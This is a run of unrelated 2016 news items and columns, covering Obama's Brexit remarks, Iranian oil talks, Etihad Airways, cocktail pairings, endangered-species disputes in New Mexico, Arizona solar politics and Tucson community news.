Fearful that a British exit could weaken the West, Obama arrived in London to applaud Britain's EU membership which he said had helped make the world freer, richer and better able to tackle everything from Russian aggression to terrorism.



Praising Britain's "outsized" influence in the world, Obama invoked the interlinked history of the two countries and the tens of thousands of Americans lying in European war graves as his reason for speaking as "a friend" on the June 23 referendum.



"The European Union doesn't moderate British influence - it magnifies it," he wrote in an article placed on page 20 of the eurosceptic Daily Telegraph newspaper under the headline "As your friend, I tell you that the EU makes Britain even greater."



"The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic".



Obama is due to meet US embassy personnel and families before a lunch at Windsor Castle with Queen Elizabeth, who celebrated her 90th birthday on Thursday, and her husband Prince Philip.



Obama is scheduled to hold talks afterward with Prime Minister David Cameron, followed by a news conference.



Campaigners for Britain's EU membership, including Cameron, who is leading the "In" campaign, will welcome Obama's intervention, which led news broadcasts on British television.



But the president's comments drew scorn from opponents of Britain's EU membership.



New York-born London Mayor Boris Johnson, who heads the "Out" campaign, said that he did not want to be lectured by Americans about EU membership and that the United States would never countenance such a transfer of sovereignty.



"For the United States to tell us in the UK that we must surrender control of so much of our democracy -- it is a breathtaking example of the principle of do-as-I-say-but-not-as-I-do," Johnson wrote in the Sun newspaper.



"It is incoherent. It is inconsistent, and yes it is downright hypocritical," Johnson said.



Opinion polls indicate that British voters are leaning towards the "In" camp but many remain undecided. "In" campaigners are concerned that young voters may not turn out to vote.



"STICK TOGETHER"



The US government, and many US banks and companies, fear a Brexit would cause market turmoil, diminish the clout of its strongest European ally, hurt London's global financial hub status, cripple the EU and weaken Western security.



"Now is a time for friends and allies to stick together," Obama said. "Together, the United States, the United Kingdom, and the European Union have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place."



Cameron has said that this is no time for Britain to drop out of the club it joined in 1973, especially in the face of what he terms Russian President Vladimir Putin's aggression.



Asked about Obama's views, Cameron previously told the parliament, "Personally I believe we should listen to advice from friends and other countries and I struggle to find the leader of any friendly country who thinks we should leave."



Ahead of a 2014 Scottish vote on independence, Obama said he hoped Britain "remains strong, robust and united", a comment that was welcomed by unionist politicians in London. - Reuters
Attackers threw Molotov cocktails at a police patrol north of Bahrain's capital on Saturday, killing one officer and critically injuring two others, the interior ministry said.



The attack took place in the neighbourhood of Karbabad outside Manama, the ministry said on its Twitter account, calling the unknown assailants a "terrorist group."  Reuters
Iran urged other oil producers on Monday to continue talks on an output freeze to prop up crude prices, but insisted it was justified in not freezing its own output.

Iranian Opec Governor Hossein Kazempour Ardebilli was speaking to his oil ministry's Shana news agency after talks on Sunday between producers in Doha collapsed when Saudi Arabia demanded that Iran join a freeze. Iranian representatives were not present at the talks.

"We support cooperation between Opec and non-Opec member countries and efforts to bring stability to the oil market, and we urge all producers to continue their negotiations," Ardebilli said.

But he also said Iran had made it clear that it wanted to regain its share of the oil market lost when it was hit by economic sanctions, and that "its position is supported by most Opec and non-OPEC members around the world".

The sanctions were lifted in January after Iran and the group of world powers known as the P5+1 agreed on curbs to Tehran's nuclear programme.

Ardebilli said that if Iran participated in the proposed output freeze, it would in effect be maintaining sanctions on itself.

"Those who opposed the nuclear deal between Iran and the P5+1 and the lifting of cruel sanctions on the Islamic Republic... proposed the oil output freeze in January 2016, having the illusion that Iran has no other choice but to accept," he said, in an apparent reference to Saudi Arabia. --Reuters
The partnership approach adopted by Etihad Airways offers a new model for airline competition, Etihad president and CEO James Hogan has said.



In an industry dominated by legacy airlines, and with such high barriers to entry, no new network carrier could hope to compete effectively in its own, he said. Yet without new competition, consumers around the world would suffer.



Delivering the keynote address at the monthly meeting of Wings Club in New York, Hogan said: Global air travel is a business with incredibly high barriers to entry  not just in terms of cost, but in market access, infrastructure requirements and the challenge of competing against such entrenched mega-carriers.



The highest barrier is network. You cant build a global network overnight  in fact, youd need decades, and billions of dollars, to build networks that could compete against the major airline groups.



Thats where partnership comes in. From day one, weve taken an open partnership approach, working with scores of airlines on codeshare agreements. Then we took that a step further with minority equity investments in strategically important airlines.



Together, we have been able to create a new competitive choice for air travellers in key markets around the world. Thats good for consumers, good for tourism and good for trade.



Hogan said Etihad Airways equity investment strategy was a key element of that approach. We have a two-pronged approach. From a strategic level, we are looking for the equity partners to bring network connectivity, generate additional revenues and create economies of scale. All our partners are delivering on this level.



That has helped to create the seventh largest airline group in the world and is delivering hundreds of millions of dollars to our business.



Each partner then has its own business plan, which is the responsibility of their own management and Boards of Directors. Many of these, such as Air Serbia, Air Seychelles, Jet Airways and Virgin Australia, are now delivering on this level too. We are supporting the restructuring of businesses that require it, such as Alitalia and airberlin.



Hogan said Etihad Airways entry into the US market had also brought major benefits to the country. We are a tiny player in the US air travel market, with less than 0.01 per cent of daily international departures. However, we have been able to offer major benefits to the US.



We connect the US, through our hub in Abu Dhabi, with scores of markets which are simply not served by other carriers. That means we are feeding hundreds of thousands of travellers, leisure and business, into the US. Hundreds of thousands of those get fed onto the US carriers.



Weve also been a close business partner with US corporations  most obviously with Boeing and other aerospace suppliers, but weve also created major partnerships with Sabre, Honeywell, IBM, Adobe and many others.



Our total impact on the US economy is more than $440 million a year.



Hogan said he believed much of the issues raised about Etihad Airways by the Open Skies campaign stemmed from a lack of understanding of the airlines business model.



There are many myths about our business. But the truth is that we run as a commercial organisation, with a shareholder that demands a clear return on its investment. We get no subsidies or state support. We have a well remunerated, highly satisfied workforce.



What we have had is the investment required to compete in such a capital-intensive business. Thats a smart investment when you consider the many advantages Abu Dhabi offers as the focus for a global network airline  as long as there is a return. Thats where our unique partnership model comes in. - TradeArabia News Service








It is time to rest my burden of proof that cocktails are best enjoyed with a cultural companion  be it music, literature, film, or other art  that together paint the stories of the places and people who have gifted us with both.

There are only a few historical dashes surrounding the Brown Derby cocktail, which first appeared in Buzza and Cardozos 1933 drink manual Hollywood Cocktails. It was named for the eponymous L.A. hat-shaped diner on Wilshire Boulevard, which opened in 1926. Oddly, though, the cocktail originated at Billy Wilkersons rival Vendome Club. There is also an interesting link to the Mary Pickford cocktail from our last round: Pickfords actor husband, Douglas Fairbanks, was a regular at the Vendome and may have introduced the drink there after first downing it at Londons Savoy Hotel. That version, the De Rigueur Cocktail, uses Scotch whisky instead of bourbon.

It often seems that other spirits steal many of the good warm-weather refreshers. Rum has laid claim to the tiki drinks. Tequila gets the margarita and virtually every Mexican-themed party. And gin, with its endless array of botanical distillates, pairs like a dream with all manner of citrus, numerous other fruits, and virtually any flower or herb we might want to put in a cocktail. But despair not, oh lover of bourbon! The Brown Derby is a top-shelf spring pleaser, showcasing one of natures finer flavor pairings: honey and grapefruit.

Brown Derby

2 ounces Bourbon

1 ounce fresh grapefruit juice

1/2 ounce honey syrup (2:1 honey-to-water)

Vigorously shake with large ice in a Boston shaker for 15 seconds. Double strain into a pre-chilled cocktail glass or coupe and garnish with a grapefruit twist after expressing oils from the twist onto the drink. I prefer half an ounce of 2:1 honey syrup or three-fourths an ounce of 1:1 honey syrup, but because the sweetness and bitterness of grapefruit varies, you should experiment and choose the hat that suits you best.

The dark fruit, grain, caramel, and subtle spicy flavors of bourbon complement the vanilla from the oak and the floral honey to balance grapefruits tart and slightly medicinal bitter flavors. Much like the hat itself, the Brown Derby cocktail is fertile ground for accessorizing. You can muddle a variety of fruit and herbs before shaking with the above ingredients and double straining. These three delicious variations offer flavors that are fast friends with grapefruit and honey:

Two quarter-inch slices of fresh ginger

Two sprigs of fresh mint and a half dozen fresh raspberries

Two sprigs of fresh tarragon (alone or with two tablespoons of fresh pomegranate seeds)

Jazz Hits of the 1930s: Greatest Hits released in 1997 on RCA Victor Records showcases stellar tunes recorded between 1930 and 1939 by jazz giants like Louis Armstrong, Duke Ellington, Count Basie, Benny Good, Lionel Hampton and half a dozen others. This mix of tunes is the perfect listening companion to any of the above Brown Derby mixes.

You wouldnt know it today given vodkas ubiquitous offerings at watering holes across the U.S., but it is a relative newcomer to the cocktail kingdom. In the 1930s it was still an obscure Russian novelty. Perhaps vodkas first real invasion of the West was the unremarkable Russian: equal parts gin, vodka, and creme de cacao. Then came the Barbara: two parts vodka, and one part each creme de cacao and cream. And in 1946 The Stork Club Bar Book gave us the Alexander the Great: three parts vodka and one part each creme de cacao, coffee liqueur, and cream. Over the next decade, the Russian abandoned its gin and swapped its cacao companion for coffee liqueur. Meanwhile Barbara made the same swap, toughened into the Russian Bear, and then later lost her ursine appendage. Finally, in 1961, the Diners Club Drink Book reduced the black and white distinction to writing. Surprisingly, the White Russian flourished well into the 70s while, for unknown reasons, the now trend-setting Moscow Mule stubbornly refused to enjoy the success of its Cold War-era compatriot.

White Russian

2 ounces vodka

1 ounce coffee liqueur

1 ounce heavy whipping cream

Combine ingredients in a Boston shaker and give them a brisk 30-second shake. Double strain into a rocks glass over a large clear ice cube. The extra long shake adds welcome body and volume to this drink  something my bald head knows nothing about  and convincingly boosts the mouth feel.

A proper White Russian is a sweet, seamless blend of mouth-coating creamy coffee and a subtly boozy finish that conceals its high-octane constitution by masquerading as a virtual milk shake. My advice: Pace yourself. This simple drink is perfect as is but for the adventurous spirit, provides a malleable canvas for showcasing other flavors. Chocolate syrup, creme de cacao, vanilla, cinnamon or nutmeg each make worthy additions. Replace the heavy whipping cream with Irish cream and you have a Mudslide (pace yourself even more). Or top off the original with an ounce or two of cola and you have a Colorado Bulldog. I prefer the Plain Jane original, but these additions highlight the drinks versatility and show how easy it is to flex your cocktail creativity muscle. And if you want to flex even more, grind some freshly roasted whole bean coffee  I prefer beans used for espresso  and make your own coffee liqueur, which is essentially coffee, sugar, and a base spirit such as vodka or rum. Your creation will make a dangerously delicious gift that will fill your friends and family with gratitude until the last drop.

For full-orbed White Russian enjoyment, it is hard to argue with The Big Lebowski movie and bowling night  it really ties the whole experience together. But if you seek something less far out that, in the parlance of our times, still rocks and rolls, I recommend Creedence Clearwater Revivals 1976 Chronicle, Vol. 1. This eight-time-platinum compilation covers CCRs greatest hits from 1968 to 1971 and is often listed as one of the best rock albums of all time. The Dude would certainly abide this decision.

Since January our chronological mini-series of cultural pairings has spanned 100 years; explored everything from opera to rock, silent films to Irish jigs, and vintage violin jazz to 90s cult classics; and has landed us on each of the three US coasts as well as Europe and the Caribbean. Here is a brief recap of our explorations over the past four months:

Drink: Sazerac  (New Orleans, c. 1865)

Opera: Carmen (Georges Bizet)

Drink: Aviation  (New York, 1917)

Song: Lil Liza Jane (Earl Fullers Famous Jazz Band)

Drink: Sidecar  (London, 1922)

Band: Quintette du Hot Club de France (Django Reinhardt and Stephane Grappelli)

Drink: Mary Pickford  (Cuba, 1928)

Film: Pollyanna, Coquette

Drink: Brown Derby  (Los Angeles, 1933)

Album: Jazz Hits of the 1930s: Greatest Hits

Drink: Irish Coffee  (Ireland c. 1940, San Francisco, 1952)

Album: Aurora (Michael McGoldrick)

Drink: White Russian  (United States, c. 1961)

Movie and album: The Big Lebowski, Chronicle, Vol. 1 (CCR)

The burden of proof is now yours. Shake up your next cocktail experience with a healthy measure of the social and artistic culture behind your favorite drinks. Cue up some Ella Fitzgerald or Bob Dylan, then go make a good post-Prohibition drink for a good friend.
ALBUQUERQUE, N.M.  Nearly half of New Mexicos Legislature is stepping into the fray between ranchers and the federal government over the fencing of watering holes on national forest land to protect an endangered mouse found in three Western states.

The 50 lawmakers say the federal government has overstepped its authority and is trampling private property and water rights, some of which predate New Mexicos statehood.

They recently sent a letter to State Engineer Tom Blaine, asking that he use his authority as New Mexicos top water official to stop the U.S. Forest Service from limiting access to springs, streams and other riparian areas. The letter was made public this week.

We believe the taking of this private property is illegal; it is contrary to court decrees and decisions; and it is morally wrong, the letter reads. The incursions of the USFS must be stopped.

The letter was signed by Republicans from across the state and some Democrats from rural districts.

Blaine confirmed Thursday that his office is investigating ranchers complaints about the federal actions.

New Mexico continues to be concerned with federal mismanagement of public lands, and the impact it has on our farmers and ranchers and their livelihoods, he said.

The Forest Service said theres no plan to reduce livestock numbers on two affected grazing allotments in southern New Mexico and that cattle will have access to water outside fenced areas.

In northern New Mexico, more fencing is proposed on six allotments.

The agency has previously argued that its obligated under the Endangered Species Act to ensure the mouse is protected.

The Forest Service began ordering closures and installing fences in the Santa Fe and Lincoln forests in 2014 after the U.S. Fish and Wildlife Service listed the mouse as an endangered species.

The meadow jumping mouse  which depends on tall grass along streams and in other riparian areas  was first recognized as being in need of federal protection in 1985. It was placed on the waiting list in 1991 and again in 2007.

In March, federal wildlife managers announced nearly 22 square miles in parts of New Mexico, Arizona and Colorado would be set aside at critical habitat for the mouse, affecting the management of vegetation along 170 miles of streams throughout the region.

Federal biologists say 29 populations of the mouse have been documented in the three states over the past decade, and all are small and isolated. Nearly a dozen of the populations have been affected by drought, wildfire, flooding and grazing.

Some environmentalists have described the mouse as one of the most endangered mammals in the nation.

In their letter, lawmakers suggest federal officials are targeting ranchers and their cattle since the closures wouldnt affect other hooved wildlife  deer and elk  thats plentiful in the forested areas.

The USFS is not protecting the mouse; clearly, it is using its own definition of habitat written and defined within the agency as a method to seize water and exercise power over the allotment owners without any restitution, the letter states.
The nations first and only grizzly bear recovery coordinator is stepping down after 35 years, saying the threatened species has recovered enough for him to retire.

Chris Servheen of the U.S. Fish and Wildlife Service is retiring at the end of April. Wayne Kasworm will become acting recovery coordinator.

Servheen, 65, said he considers bear populations in Yellowstone National Park and the Northern Continental Divide Ecosystem to be recovered.

But when he began his work in 1981  right after getting his doctorate at the University of Montana  the challenges seemed insurmountable.

I didnt think at all that we would get to recovery, Servheen said. In fact, I really wondered if we would even have grizzly bears around.

At the time, garbage dumps, livestock herds and backcountry hunting camps were creating conflicts and bear numbers were low.

He brought together state, federal and local governments as well as conservation groups to recover grizzly bear populations in six areas throughout the Northwest: the Cabinet-Yaak area in northwest Montana; the Selkirk area in parts of Idaho, Washington and British Columbia; the Bitterroot in western Montana; the Northern Continental Divide, including Glacier National Park and nearby wilderness areas at the Greater Yellowstone Ecosystem.

It was a great challenge and a great honor, Servheen said.

Early on, one of the biggest challenges was getting people living in and visiting grizzly habitat to change their behaviors  from how they disposed of their trash to cleaning up backcountry camps.

All the things that people do, theyre all different now because everything has grizzly bears in the background, Servheen said.

Now, the USFWS is proposing removing Endangered Species Act protections for around 700 bears in the Yellowstone area. Servheen wrote the proposed rule.

Some think its too soon, while others think it should have been done long ago.

As Servheen winds down his career, hes hearing from people hes worked with, and sometimes against, in trying to improve grizzly bear habitat and their populations.

In West Yellowstone last week, members of the Yellowstone Ecosystem Subcommittee of the Interagency Grizzly Bear Committee thanked him for his years of service, as did Scott Christensen, the executive director of the Greater Yellowstone Coalition.

We have at times been at odds and at opposite sides of the courtroom, Christensen said. But we respect your contribution to grizzly bear conservation.

There are up to 1,700 grizzly bears in the West, with most in Montana and Wyoming  about three times as many as when Servheen began his work.

Servheen said he plans to spend more time in the backcountry with his children with a chance to see a grizzly bear, rather than sit in meetings talking about them. Hell also continue as an adjunct professor at the University of Montana, where he has taught a course in international wildlife management for the past 18 years.

Summers coming. The backcountry is opening up and its calling to me, and thats where I want to be.
So that you wont be fooled by MSNBCs Rachel Maddow claiming Second Amendment supporters were celebrating the Oklahoma City bombing this week  as she has on April 19 in years past  Tuesday was the anniversary of the battles of Lexington and Concord, a date all Americans used to know.

This year, New Yorkers celebrated by voting to keep the country that was christened in blood at Lexington and Concord.

Until Henry Wadsworth Longfellows poem, most Americans knew as little about Paul Reveres ride as Rachel Maddow does today.

Listen my children and you shall hear

Of the midnight ride of Paul Revere,

On the eighteenth of April, in Seventy-five;

Hardly a man is now alive

Who remembers that famous day and year.

Suspecting that the British would soon be mobilizing to crush the brewing rebellion, American patriots had been waiting. When rebel leader Dr. Joseph Warren received a secret message that the British were planning to arrest Sam Adams and John Hancock in Lexington that night, he alerted Paul Revere and two others in their clandestine group.

By pre-arrangement, each rider took a different route to Lexington. If any two were captured by the British, the message would still be delivered. The fate of a nation was riding that night.

The most famous of the three was Paul Revere, who later wrote a detailed account of his momentous ride.

Revere had instructed the sexton of a Boston church to climb to the top of the steeple  unobserved by the churchs Loyalist minister  and signal the patriots of Charlestown with lanterns to indicate which route the British were taking: One if by land, and two if by sea.

Revere crossed the Charles River, sneaking past a British warship, to the Charlestown patriots waiting for him. Revere saddled his horse and took off for Lexington, alerting rebel leaders  and evading British patrols  along the way.

As planned, these town leaders spread the message to the local militias, a communication network that proceeded with astonishing speed, in the words of historian David Hackett Fischer, author of the book Paul Reveres Ride.

At around midnight, when Revere arrived at the Lexington home where Hancock and Adams were hiding, the guard chastised Revere, telling him to stop making so much noise. Noise? Revere replied. Youll have noise enough before long! The Regulars are coming!

The second rider, William Dawes, arrived soon thereafter, and the third man, lost to history, never made it.

Wondering why the British were mobilizing so many troops for a simple arrest, the men realized that the British were planning to seize the rebels artillery, stored in Concord.

So Revere and Dawes headed to Concord, again setting off the alarm. On their way, they met a doctor, Samuel Prescott. Prescott, a High Son of Liberty, offered to ride with them.

Halfway to Concord, they were captured by the British, but Prescott escaped and rode on. In the wee hours of the morning, he stopped at his home in Concord to wake his father and brother, also doctors, whereupon his brother, Abel, saddled up and took the warning south.

The Battle of Lexington at sunrise next morning, April 19, would not have given Americans much hope. British troops made short work of the disorganized and outnumbered militiamen.

But Concord was a different story. This was the shot heard round the world.

By the time the British reached Concord, militias from dozens of towns had received the call and were ready for battle. The towns minister, William Emerson  grandfather of Ralph Waldo Emerson  urged on the rebels, slapping one terrified young soldier on the back and saying, Stand your ground, Harry! Your cause is just and God will bless you!

Although still outnumbered, the Americans hit the British so hard, they retreated all the way back to Boston, with the militias bird-dogging them the whole way.

Hancock and Adams were safe, the rebels ordnance secure, and the war that gave birth to the greatest country in human history had begun.

So far, seven of the 13 colonies have spoken: Georgia, Massachusetts, New Hampshire, North Carolina, South Carolina and Virginia  and New York. All seven held elections, not party-rigged conferences or caucuses. All of them have gone for Trump. It looks like the 13 Colonies are trying to save America, once again.
And with a combined 217 years of Wyoming living on this board, the sale of public lands is not something we take lightly.

But in this case, the sale makes sense for everyone  the public included.

The city of Laramie purchased the Monolith Ranch from the Monolith Mining Company in the 1980s in order to secure its water rights  which will not be affected by the proposed sale  for the citys future use.

Its important to note, however, most of the mineral rights on the ranch were retained by Monolith, which was later replaced by Mountain Cement. Those rights mean Mountain Cement owns much of the minerals located under the surface, with or without purchasing the surface land. Mining the land in question without purchasing it would require Mountain Cement to pay surface damage fees every year. City staff and Mountain Cement estimate those fees to average about $4,000 per year.

That amounts to $400,000 spread out throughout 100 years, which is how long Mountain Cement anticipates the shale present in the ground would last. Sale or no sale, Monolith Ranch would reclaim land as they mine, and the land would look generally the same, just with some elevation loss. For proof, just go out and look at property which has already been reclaimed by Mountain Cement. Its clear theyre good stewards of the land.

Mountain Cements ownership of the mineral rights means a lease would be completely unnecessary, and something which representatives of Mountain Cement said they would not agree to.

So, some might ask, why does Mountain Cement even need to purchase the land when they have a lock on the mineral rights already?

First, purchasing the land means it is a tangible asset. They can get financing on the value of the land, or sell it to another party more than 100 years down the road. It also makes it easier for Mountain Cement to restrict access to the property  perfectly understandable as it will be an active mine site.

Perhaps most importantly, owning the land makes for a slightly more streamlined permitting and approval process with the Bureau of Land Management and Department of Environmental Quality.

Owning the land also reinforces Mountain Cements presence in the community. Combined with an estimated 100 years worth of limestone access, the purchase could help position Mountain Cement for future growth.

And thats where the sales benefit to the public comes in. Albany County is by no means a wealthy county. While we greatly enjoy the University of Wyomings presence and all of its benefits, the fact is our largest employer pays no property taxes.

Mountain Cement does. In 2015, they paid more than $550,000 in real property taxes. Additionally, Mountain Cement is Albany Countys largest private employer with more than 120 employees. Purchasing the 700 acre portion of the Monolith Ranch means more taxable property on the books as well as increasing the potential for more private sector job growth.

And as the state enters an economic slump, the benefit of increasing jobs and property tax revenues increases dramatically.

The one regret we have about the proposed sale is the city did not craft a land use plan for the Monolith Ranch before this opportunity came up. A $75,000 price ticket on such a plan earlier this year caused the Laramie City Council to not move forward with it.

This sale represents an opportunity to move forward with creating that plan. A portion of the proceeds could go toward funding the plan and help the city best plan for the ranchs future. Doing so would certainly help answer questions before they even come up the next time such a sale or altered use is proposed.
ALBUQUERQUE, N.M.  Nearly half of New Mexico's Legislature is stepping into the fray between ranchers and the federal government over the fencing of watering holes on national forest land to protect an endangered mouse found in three western states.

The 50 lawmakers say the government has overstepped its authority and is trampling private property and water rights.

They've sent a letter to State Engineer Tom Blaine, asking that he use his authority as New Mexico's top water official to stop the U.S. Forest Service from limiting access to springs, streams and other riparian areas.

The Forest Service first began ordering closures and installing fences in 2014 on the Santa Fe and Lincoln forests.

The mouse also is found in Arizona and Colorado, and federal wildlife officials recently set aside nearly 22 square miles in the three states as critical habitat.
GREAT FALLS, Mont.  A fire that killed 3,100 pigs and destroyed their barn on a Hutterite colony south of Augusta caused an estimated $1.3 million in damage.

Lewis and Clark County Sheriff Leo Dutton told the Great Falls Tribune (http://gftrib.com/1XLfWCG) on Thursday that two insurance companies were working on the loss estimate for Monday's fire on the Milford Hutterite Colony.

He says the building loss is estimated at $1 million, while the value of the feeder pigs was estimated at $300,000.

State fire marshal Dick Swingley says investigators were unable to determine the cause of the fire, but that it was not considered suspicious.
PHOENIX  A veteran state lawmaker is working with utilities to undermine a voter initiative that would block electric companies from imposing new charges on customers who also generate their own power through solar.

Sen. Debbie Lesko, R-Peoria, said she is working to put an alternative to that initiative on the November ballot, and is crafting the language with utility officials and others.

Lesko said her goal is to cement in the Arizona Constitution the right of state utility regulators  who for now all happen to be Republicans like her  to determine how much electric companies can charge their solar customers.

The move comes less than a week after former state utility regulator Kris Mayes unveiled an initiative drive to curb the power of the Corporation Commission to let utilities increase charges on solar customers.

Lesko is powerless to stop Mayes and the solar interests financing that effort from trying to gather the more than 225,000 signatures necessary to put the issue on the November ballot. But Lesko said she can provide voters an alternative. There is one big difference, though.

Lesko wants the Republican-controlled Legislature to refer the measure to the ballot itself. That saves the utilities the cost of gathering the signatures. She makes no apologies for that.

You have out-of-state billionaire rooftop solar leasing companies that are trying to circumvent our elected five-member Corporation Commission to set the rates so that they get a good deal locked into our Arizona Constitution, Lesko said. Its just unconscionable how greedy these people are.

Mayes, however, said the utilities are the ones who are being greedy in not wanting to lose profits for their shareholders from selling power.

She said if the utilities want to put their own plan up for a public vote they should do it the honest and difficult way, which is to go out and get 225,000 signatures from Arizonans to get the measure on the ballot. Mayes said the companies are getting lawmakers to do the work for them because they know the measure is so unpopular.

Mayes thinks voters will reject the alternative, but said there is a harm of having the Legislature put a second measure on the ballot. She said its designed to confuse voters. Its an old ploy, she said.

Central to the fight are efforts by several utilities to change the rate structure of their customers who own or lease rooftop solar.

One is net metering, where the customer gets a credit for excess power being put into the electric grid at the same retail rate the utility charges when the customer needs it back. Utilities want to credit customers at what they would otherwise pay either in generation costs or to wholesalers.

The other big change seeks to impose a peak demand charge. That would mean a solar customer who happened to be using air conditioning, an electric dryer and other devices at the same time would incur a surcharge above and beyond paying for the actual amount of electricity used.
Local youths, seeking real-life work experience, are looking for employers willing to help train them  and theres no charge.

Tucson Youth Development, with funding from the federal Workforce Innovation and Opportunity Act, works with local business owners to place students, ages 16 to 24, in jobs to learn both hard and soft skills of the working world.

Their salaries and liability insurance are paid through a grant for 144 hours of service through May.

Were a bridge for these kids, said Timothy Kennedy, Tucson Youth Developments youth opportunity manager. And we want to provide a meaningful work experience.

The organization is looking to place about 70 students in the paid internship program.

Migdalia Day, owner of Madison Days Salon and Mobile Service, was approached about participating and didnt hesitate.

I figured Id give it a shot and give a kid a chance, she said.

A couple of months ago, she got Liliana Lopez, 18, to join her at the salon.

Day said her young employee is a good listener and puts effort into everything she is asked to do.

Lopez dreams of becoming a traveling stylist.

For now, she is learning the business end of things and helps with phones, scheduling, shampooing and styling. Shes attending Aveda Institute Tucson to get her stylist license.

Its really great to try it out, she said of the work experience. Lopez said she is learning on the job with the bonus of learning to be assertive and look out for herself.

Now I feel confident, she said.

After she finishes beauty school, she plans to take business classes and learn the steps necessary to open her own business.

I like making people happy, she said of her career choice, and making them more beautiful.

She received $1,000 for three months of working twice a week, six hours a day.

To employers who might be hesitant to participate, Day urged them to give it a try.

Help kids follow their dreams, Day said. Im going to be a little part of her career and I will feel proud.
For questions about Tucsons Jewish community, Ori Parnaby is the go-to person.

For the last few weeks, Jewish Tucsons concierge has been fielding questions about seders  the ritual Passover meal  and where to find foods that are kosher for Passover in anticipation of the holidays start Friday evening.

Each congregation does something unique (for Passover), Parnaby says. And its my job to help people find one.

In September 2014, Parnaby settled into her role as the concierge for the website Jewishtucson.org. She has helped newcomers find synagogues, received a request from an inmate for a Jewish calendar and figured out where to put a donors collection of books on Judaism. In a sense, she is the hub for all things Jewish in Tucson.

The website grew out of the Jewish Community Roundtable, a 2013 initiative by the Jewish Federation of Southern Arizona to bring together rabbis and leaders of organizations such as the Jewish History Museum, the Tucson Jewish Community Center and the University of Arizona Hillel Foundation, to name a few.

Here, people can find information about the institutions that make up the local Jewish community, events going on throughout the city and resources specific to their demographic. Its all in one place.

During holidays, in particular, the site and its concierge can help people connect to others who share their identity and heritage.

Those people who have sought to enslave and oppress and destroy the Jewish people were not selective, says Rabbi Israel Becker of Congregation Chofetz Chayim, 5150 E. Fifth St. They chose a Jew simply because they were Jewish ... so a holiday like Passover reminds all the Jews of a common thread that they share together.

Passover begins the evening of Friday, April 22, and lasts through the evening of Saturday, April 30. During the holiday, Jews recall the ancient Israelites escape from slavery in Egypt to freedom, as told in the book of Exodus in the Hebrew Bible.

To remember the story, many Jews gather in homes for seder meals on the first two nights of Passover.

Holidays are what keep us together as a community and are what make us feel connected to our ancestors and family, ... not only in Tucson but around the world and in Israel... Parnaby says. We want to share that with our community.

Yet not everybody is able to attend or host a home seder.

Thats where Parnaby steps in.

This website presents an array of seders from Orthodox to the Secular Humanists, who will just look at the values involved in why we celebrate Passover and relate that to their own experiences and journey, says Beverly Sandock, strategic planning associate for the Jewish Federation of Southern Arizona and web administrator for the site.

A roundup of Passover events on the site presents a variety of choices, from last weeks chocolate seder at the Tucson Jewish Community Center to traditional seders, to a Passover walk in the desert with Rabbi Samuel Cohon of Temple Emanu-El, 225 N. Country Club Road.

One of our goals became to strengthen our community through technology in order to engage multiple groups of people, Sandock says. We found that our community is vibrant and diverse and rich in activities and programs, but frequently, people didnt know that they existed.

Cohon, one of the rabbis on the Jewish Community Roundtable, says that while many individual congregations have done outreach of their own, this kind of collaboration indicates a desire to make the Jewish community as a whole more accessible.

The synagogues are different and come from different walks of religious life but have the common thread of kindness and generosity that is very much a part of Jewish life, says Becker, also part of the roundtable.

At the UA Hillel Foundation, Amalia Mark, the director of Jewish student life, sees students who dont understand their heritage and see Passover as a week without bread instead of a time to think about what we are enslaved to and held captive to.

Engagement is key.

I think there is a sad lack of Jewish knowledge and literacy, Mark says. Its hard to get people to own what is rightfully theirs if they dont know anything about it.

Jodie Friedman, a UA senior and Hillel intern, is one of two students who will lead a seder for her peers this year. Seders usually feature traditional readings, prayers and songs. The Hillel seder will include a skit. Later in the week, students can also compete in an Instagram competition inspired by the Passover tradition of finding broken matzah. Its another way to encourage participation.
Volunteers to discuss trip to Guatemala

A small team of volunteers returned from a short-term aid trip to Guatemala and will share their experiences 9 a.m. Saturday, April 9, at St. Michael and All Angels Episcopal Church, 602 N. Wilmot Road.

The presentation will provide background for those interested in volunteering over the summer. A typical trip lasts about three weeks.

Several times a year, Guatemala Project coordinator Ila Abernathy takes teams into remote Guatemalan communities of primarily Ixil and Quiche Mayans. Teams bring medical supplies and provide clinical assistance, though Abernathy cautions that there is no such thing as a typical trip.

The most important aspects for people thinking about going down are flexibility and utter respect for indigenous cultures, Abernathy said, emphasizing there is no proselytizing on these trips.

For those interested, visit cprguatemalaproject.org. To contact the church, visit smallangelstucson.org or call 886-7292.

St. Albans Episcopal to host rummage sale

St. Albans Episcopal Church, 3738 N. Old Sabino Canyon Road, will sell books, furniture, clothing and more 9 a.m. to 1 p.m. Saturday, April 9, according to press materials.

For more information, visit www.stalbansaz.org or call 296-0791.

End-of-life treatment laws to be discussed

St. Francis in the Foothills United Methodist Church, 4625 E. River Road, will host a presentation by Compassion and Choices on end-of-life treatment choices 11:30 a.m. Sunday, April 10, according to press materials.

For more information, visit stfrancisumc.org or call 299-9063.

Interfaith Council celebrates 26 years

Pima County Interfaith Civic Education Organization will host A Civic Academy at 3 p.m. Saturday, April 9, at St. Odilia Catholic Community, 7570 N. Paseo del Norte, to discuss Proposition 123 on the May ballot.

The proposition would allocate $3.5 billion from the general and state land trust funds for education over 10 years.

Pima County Interfaith Civic Education Organization will also celebrate 26 years of connecting religious and community leaders through the Pima County Interfaith Council.

The celebration, 1:30 to 3 p.m. Sunday, April 10, at Most Holy Trinity Parish, 1300 N. Greasewood Road, will honor Bishop Gerald Kicanas of the Roman Catholic Diocese of Tucson with the Community Champion Award and others with Champion of Justice Awards, according to press materials.

Tickets for the event, with live music and refreshments, are $20 each.

To register or learn more, visit pimacountyinterfaith.org or call 903-2333.

3 rabbis to share their beliefs at Handmaker

Rabbis from Orthodox, Reform and Conservative branches will share their beliefs at 3:30 p.m. Sunday, April 10, at Handmaker, 2221 N. Rosemont Blvd.

Presented by the Jewish Community Foundation of Southern Arizona, Rabbi Yossi Shemtov of Congregation Young Israel, Rabbi Thomas Louchheim of Congregation or Chadash and Rabbi Robert Eisen of Congregation Anshei Israel will discuss similarities and differences, according to press materials.

Space is limited, so to RSVP call 322-3632.

Muslim Community Center donates 6,800 pounds of potatoes

For the second time in just over three months, the Muslim Community Center, 5100 N. Kevy Place, purchased $1,000 worth of potatoes for Peter Norbacks One Can A Week project.

The money bought 6,852 pounds of potatoes for the Community Food Bank of Southern Arizona.

For more information about the Muslim Community Center, visit mcctucson.org or call 329-8568.

Passover meal for LGBT community

